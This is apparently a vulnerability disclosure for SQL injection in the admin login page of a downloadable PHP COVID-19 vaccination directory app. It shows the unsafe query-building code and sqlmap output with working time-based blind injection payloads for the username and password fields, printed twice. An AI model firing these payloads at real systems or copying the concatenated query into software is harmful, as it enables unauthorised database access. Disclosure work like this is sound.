

SQL injection vulnerability exists in txtpassword and txtusername parameter of /admin/login.php file of design-and-implementation-covid-19-directory-vaccination.html

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
9 $username = $_POST['txtusername'];
10 $password = $_POST['txtpassword'];
11 $status = 'Active';
12
13
14
15 $sql = "SELECT * FROM admin WHERE username='".$username."' and password = '".$password."' and status = '".$status."' ";
16 $result = mysqli_query($conn, $sql);
17
```

```
[22:29:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtpassword (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: txtusername=admin&txtpassword=123456' AND (SELECT 9886 FROM (SELECT(SLEEP(5)))oFWj)-- Fiko&btnlogin=
Parameter: txtusername (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: txtusername=admin' AND (SELECT 1895 FROM (SELECT(SLEEP(5)))ocUe)-- DEnO&txtpassword=123456&btnlogin=
```

“

Parameter: txtpassword (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: txtusername=admin&txtpassword=123456' AND (SELECT 9886 FROM (SELECT(SLEEP(5)))oFWj)-- Fiko&btnlogin=

Parameter: txtusername (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: txtusername=admin' AND (SELECT 1895 FROM (SELECT(SLEEP(5)))ocUe)-- DEnO&txtpassword=123456&btnlogin=

“

Source Download:

<https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vaccination.html>